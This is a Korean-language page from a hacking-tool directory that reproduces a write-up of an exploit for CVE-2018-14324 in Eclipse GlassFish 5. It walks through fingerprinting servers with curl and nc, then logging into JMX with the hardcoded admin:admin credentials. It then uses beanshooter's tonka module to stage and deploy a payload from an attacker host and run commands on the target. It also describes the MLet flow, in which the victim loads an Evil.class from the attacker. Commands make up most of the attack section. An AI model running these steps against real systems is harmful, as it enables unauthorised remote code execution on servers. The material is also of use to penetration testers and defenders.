Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/matejsmycka/cve-2018-14324-exploit
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access ToolPayload Development
GitHubmatejsmycka/cve-2018-14324-exploit

CVE-2018-14324-Exploit

Hacking Eclipse GlassFish - CVE-2018-14324

저장소 보기
9개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Eclipse GlassFish 해킹 - CVE-2018-14324

CVE-2018-14324에 대한 설명은 이 취약점의 영향을 완전히 설명하지 않습니다. TLDR: 하드코딩된 admin:admin 자격 증명을 통해 Java Management Extensions(JMX)에 접근할 수 있습니다.

영향이 "잠재적으로 민감한 정보, 데이터베이스 작업 수행, 또는 JMX RMI 세션을 통한 데모 조작"으로 나열되어 있지만, JMX RMI 세션을 통한 조작이 무엇을 의미하는지 설명하지 않습니다. 높은 CVSS 점수 9.8 때문에만 파고들었고, GlassFish 5 인스턴스에서 기본적으로 활성화된 javax.management.loading:type=MLet MBean을 통해 사실상 RCE를 달성할 수 있음을 발견했습니다.

발견

버전 배너를 보고 GlassFish 서버를 열거합니다.

root@kitploit:~
curl http://<TARGET>:8080/ -i | grep 'Server:'
curl http://<TARGET>:8181/ -ik | grep 'Server:'
curl http://<TARGET>:80/ -i | grep 'Server:'

버전이 5이면 CVE-2018-14324에 취약합니다.

그런 다음 JMX RMI 서비스가 포트 7676에서 실행 중인지 확인합니다.

root@kitploit:~
nc <IP_ADDRESS> 7676

JMX RMI 서비스에 대한 연결 문자열이 표시됩니다. 나중에 사용할 문자열을 가져옵니다.

예:

root@kitploit:~
service:jmx:rmi://vm31465/jndi/rmi://vm31465:8686/vm31465/7676/jmx

보시다시피 연결 문자열에 호스트 이름 vm31465가 사용되며, 8686과 7676의 두 포트가 언급됩니다.

  • 7676: JNDI 조회에 사용되는 JMX RMI 포트
  • 8686: JMX 통신에 사용되는 JMX 엔드포인트 포트

/etc/hosts 파일에 vm31465를 추가하여 IP 주소를 가리키도록 해야 합니다. Beanshooter를 사용하는 경우 필요하지 않습니다.

열거

JMX가 도대체 무엇일까요? Java Management Extensions(JMX)는 Java 애플리케이션에 대한 관리 인터페이스를 구현할 수 있게 해주는 기술입니다. Java 애플리케이션을 위한 SNMP라고 생각하면 됩니다.

먼저 대상 시스템에서 사용 가능한 MBean을 열거합니다.

root@kitploit:~
java DumpJMX.java "service:jmx:rmi:///jndi/rmi://<TARGET>:7776/<TARGET>/7676/jmxrmi"
# if does not work
java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum <IP> 8686 --password admin --user admin

이 스크립트를 사용하면 MBean, 해당 속성 및 작업 목록을 얻을 수 있습니다.

Mbean com.sun.management:type=DiagnosticCommand를 사용하면 대상 JVM에서 진단 명령을 실행할 수 있습니다. 이를 사용하여 시스템 속성을 열거할 수 있으며, 자세한 내용은 DiagnosticCommand.java를 참조하십시오.

javax.management.loading:type=MLet이 보이면 대상을 악용할 수 있습니다. 이 MBean을 사용하면 원격 Java 클래스를 대상 JVM에 로드할 수 있습니다. 그러나 Java 보안 관리자가 임의 코드 실행을 방지할 수 있습니다. RCE에 유일하게 작동한 익스플로잇은 beanshooter의 tomka 모듈이었습니다. 사용자 정의 익스플로잇은 보안 관리자에 의해 차단되었습니다. MLet 로딩은 여전히 작동했지만, 클래스가 코드를 실행할 수 없었습니다.

악용

Beanshooter tomka 모듈을 사용하여 대상을 악용합니다.

root@kitploit:~
git clone https://github.com/qtc-de/beanshooter.git
cd beanshooter
mvn clean package -DskipTests

## STAGER
java -jar beanshooter-4.1.0-jar-with-dependencies.jar stager <ATTACKER-IP> 8080 tonka

## DEPLOY

java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka deploy --username admin --password admin --stack-trace <TARGET> 7776 --stager-url http://<ATTACKER-IP>:8080 --no-stager

## COMMAND EXECUTION

java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka exec --username admin --password admin --stack-trace <TARGET> 7776 'id'

자체 MBean 로더를 작성하고 대상이 MLet 서버에 연결하는지 모니터링하여 디버그할 수도 있습니다. 흐름은 다음과 같습니다:

root@kitploit:~
공격자 -> 피해자:7776 : javax.management.loading:type=MLet MBean 조회

공격자:8080 <- 피해자:7776 : MLet 파일 요청
공격자:8080 -> 피해자:7776 : Java 클래스 파일 URL이 포함된 MLet (예: http://attacker:8080/Evil.class)
공격자:8080 <- 피해자:7776 : Java 클래스 파일 요청
공격자:8080 -> 피해자:7776 : Java 클래스 파일

공격자 -> 피해자:7776 : 로드된 Java 클래스에서 메서드 호출 (예: Evil.listFiles())

참고 자료

  • https://www.synack.com/exploits-explained/exploits-explained-java-jmxs-exploitation-problems-and-resolutions/
  • https://nvd.nist.gov/vuln/detail/CVE-2018-14324
  • https://0xdf.gitlab.io/2025/07/29/htb-manage.html#
도구 다운로드